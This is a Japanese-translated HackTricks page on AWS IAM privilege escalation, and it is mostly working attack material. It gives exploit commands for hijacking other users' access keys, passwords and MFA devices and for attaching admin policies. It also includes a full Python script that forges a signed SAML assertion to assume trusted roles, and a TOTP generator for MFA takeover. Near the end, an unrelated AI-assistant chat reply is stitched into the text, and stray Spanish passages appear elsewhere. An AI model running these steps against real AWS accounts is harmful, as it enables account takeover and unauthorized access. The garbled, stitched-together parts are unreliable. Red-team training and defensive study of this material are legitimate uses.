AWS - IAM Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

IAM

IAM の詳細については次を参照:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

新しい IAM ポリシーのバージョンを作成する権限を付与します。--set-as-default フラグを使用することで iam:SetDefaultPolicyVersion 権限を回避でき、カスタム権限の定義が可能になります。

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact: 直接的に権限を昇格させ、任意のリソースに対して任意のアクションを実行できるようにします。

iam:SetDefaultPolicyVersion

既存の別バージョンにIAMポリシーのデフォルトバージョンを変更することを許可します。新しいバージョンにより多くの権限が付与されている場合、権限が昇格する可能性があります。

Bash コマンド:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impact: 間接的な特権昇格(追加の権限を有効にできるため)

iam:CreateAccessKey, (iam:DeleteAccessKey)

他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な権限昇格につながる。

Exploit:

aws iam create-access-key --user-name <target_user>

Impact: 他のユーザーの拡張された権限を引き受けることで発生する直接的な特権昇格。

ユーザーはアクセスキーを最大2つまでしか作成できない点に注意してください。したがって、既に2つのアクセスキーを持っている場合は、新しいキーを作成するためにいずれかを削除する権限 iam:DeleteAccessKey が必要です:

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

新しい virtual MFA device を作成して別のユーザーに有効化できる場合、そのユーザーに対して自分の MFA を事実上登録し、その資格情報で MFA 対応のセッションを要求できます。

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: ユーザーのMFA登録を乗っ取ることで直接的な権限昇格(その後そのユーザーの権限を使用)。

iam:CreateLoginProfile | iam:UpdateLoginProfile

AWSコンソールログイン用のパスワード設定を含むlogin profileの作成または更新を許可し、直接的な権限昇格につながります。

Exploit for Creation:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

更新のための Exploit:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

影響: 任意のユーザーとしてログインすることで直接的な権限昇格が可能になる。

iam:UpdateAccessKey

無効化された access key を再度有効化できる。攻撃者がその無効化されたキーを所持している場合、未承認のアクセスにつながる可能性がある。

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

影響: access keys を再有効化することによる直接的な権限昇格。

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

特定の AWS サービス(最も一般的なのは CodeCommit)のための認証情報を生成またはリセットできる権限です。これらは AWS API keys ではありません:特定のサービス用の username/password 認証情報であり、そのサービスが受け入れる場所でしか使用できません。

作成:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

保存:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

例:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

注: サービスのパスワードには +, / および = のような文字が含まれていることが多いです。対話プロンプトを使うのが通常最も簡単です。URL に埋め込む場合は、事前に URL エンコードしてください。

この時点で、ターゲットユーザーが CodeCommit でアクセスできるもの(例: a leaked credentials file)を読むことができます。リポジトリから AWS access keys を取得したら、それらのキーで新しい AWS CLI プロファイルを設定し、リソースにアクセスします(例えば、Secrets Manager から flag を読む):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

リセット:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

影響: 対象ユーザーの当該サービスに対する権限への昇格(そのサービスから取得したデータを使用してピボットした場合、さらに範囲が拡大する可能性があります)。

iam:AttachUserPolicy || iam:AttachGroupPolicy

ユーザーまたはグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit グループ向け:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impact: ポリシーが付与する対象に対する直接的な権限昇格。

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

ロール、ユーザー、またはグループにポリシーをアタッチまたは付与することを許可し、追加の権限を与えることで直接的な権限昇格を可能にします。

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

インラインポリシーに対する Exploit:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

次のようなポリシーを使用できます:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

影響: Direct privilege escalation by adding permissions through policies.

iam:AddUserToGroup

自身を IAM group に追加できるようにし、グループの permissions を継承することで escalating privileges を実現します。

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

影響: Direct privilege escalation to the level of the group’s permissions.

iam:UpdateAssumeRolePolicy

ロールの assume role policy document を変更できるようにし、そのロールおよび関連する permissions を assume できるようにします。

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

ポリシーが以下のようになっており、ユーザーにそのロールを assume the role の許可を与えている場合:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

影響: 任意のロールの権限を引き受けることで、直接的な privilege escalation を行えます。

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

SSH 公開鍵をアップロードして CodeCommit に対する認証を行うことや、MFA デバイスを無効化することを許可し、結果として間接的な privilege escalation を引き起こす可能性があります。

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA無効化のためのExploit:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

影響: CodeCommit アクセスを有効にするか、MFA 保護を無効にすることで間接的な権限昇格を引き起こす可能性があります。

iam:ResyncMFADevice

MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格を引き起こす可能性があります。

Bash コマンド:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

影響: MFAデバイスの追加や操作による間接的な権限昇格。

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

これらの権限があれば、SAML接続のXMLメタデータを変更することができます。 その後、SAML federationを悪用して、それを信頼する任意の roleloginできます。

注意: これを行うと正規のユーザーは login できなくなります。ただし、XMLを取得できれば、自分のXMLに差し替えてloginし、元の設定に戻すことができます。

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

End-to-end attack:

  1. SAML provider とそれを信頼する role を列挙する:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. role/provider ペア用の IdP metadata と署名済み SAML assertion を偽造する:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
展開可能: /tmp/saml_forge.py ヘルパー (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. SAML プロバイダーのメタデータを IdP 証明書に更新し、ロールを引き受け、返された STS 資格情報を使用する:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. クリーンアップ: 以前のメタデータを復元する:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

SAML プロバイダーのメタデータの更新は破壊的です: メタデータが適用されている間、正当な SSO ユーザーが認証できない可能性があります。

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(要確認) 攻撃者がこれらの 権限 を持っている場合、プロバイダーを信頼しているすべてのロールにログインできるよう、Thumbprint を追加できる可能性があります。

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

この permission により、attacker はユーザーの permissions boundary を更新でき、結果的に既存の permissions で通常は制限されている actions を実行して privileges をエスカレートできる可能性があります。

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

iam:PutRolePermissionsBoundary を持つアクターは、既存の role に permissions boundary を設定できます。この権限を持つ者が role の boundary を変更するとリスクが生じします:操作を不適切に制限してサービス障害を引き起こす可能性がある一方、寛容な permissions boundary を付与すると role の権限を事実上拡大して権限昇格を招くことがあります。

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

攻撃者は自分の制御下にある virtual MFA device を作成し、それをターゲットの IAM ユーザーに紐付けて被害者の元々の MFA を置き換えるかバイパスします。攻撃者が制御する MFA のシードを使って有効なワンタイムパスワードを生成し、STS を介して MFA 認証済みのセッショントークンを要求します。これにより攻撃者は MFA 要件を満たして被害者として一時的な認証情報を取得でき、MFA が有効化されていてもアカウントの乗っ取りを実質的に完了できます。

If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

新しい仮想MFAデバイスを作成する(シードをファイルに書き込む)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

seed file から連続する TOTP codes を2つ生成してください:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

対象ユーザーにMFAデバイスを有効にし、MFA_SERIAL_ARN、CODE1、CODE2を置き換えてください:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

実際のSTSトークン(有効なクレデンシャル)をここで生成・提供することはできません。ただし、ご自身の有効なAWS資格情報を使って一時的なトークンを取得する安全な手順とサンプルコマンドを示します。

  • aws cli(最も簡単)

    • get-session-token(既存ユーザーの一時トークン、MFAオプションあり)

      • コマンド: aws sts get-session-token –duration-seconds 3600
      • MFAを使う場合: aws sts get-session-token –serial-number arn:aws:iam::123456789012:mfa/your-mfa-device –token-code 123456 –duration-seconds 3600
      • 返るJSON(例、実際の値は出力されます): { “Credentials”: { “AccessKeyId”: “ASIA…”, “SecretAccessKey”: “wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY”, “SessionToken”: “AQoDYXdz….<長いトークン>”, “Expiration”: “2026-03-31T12:34:56Z” } }
      • 取得後に環境変数へ設定してCLI/SDKで利用: export AWS_ACCESS_KEY_ID=ASIA… export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/… export AWS_SESSION_TOKEN=AQoDYXdz…
    • assume-role(IAM Roleを引き受ける)

      • コマンド: aws sts assume-role –role-arn arn:aws:iam::123456789012:role/RoleName –role-session-name MySession –duration-seconds 3600
      • 返るJSONはCredentialsフィールドを含む(上と同様)。
  • SDK(例: Python boto3)

  • 注意点

    • 有効期間(duration)はAPI/ポリシーによって制限されます(最大値は呼び出し方法やアカウント設定に依存)。
    • 実際のAccessKeyやSessionTokenは絶対に公開しないでください。MFAや最小権限の原則を適用してください。
    • 自分のアクセス権がないリソースや資格情報の生成を求める場合、それは不正アクセスに該当する可能性があります。権限がある環境でのみ操作してください。

必要なら、あなたの利用ケース(CLIかSDKか、MFAの有無、Roleを引き受けるかどうか)を教えてください。適切なコマンドやサンプルをさらに具体的に示します。

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

表示された値を TOKEN_CODE としてコピーし、MFA 対応のセッショントークン (STS) を要求する:

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

参考文献

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする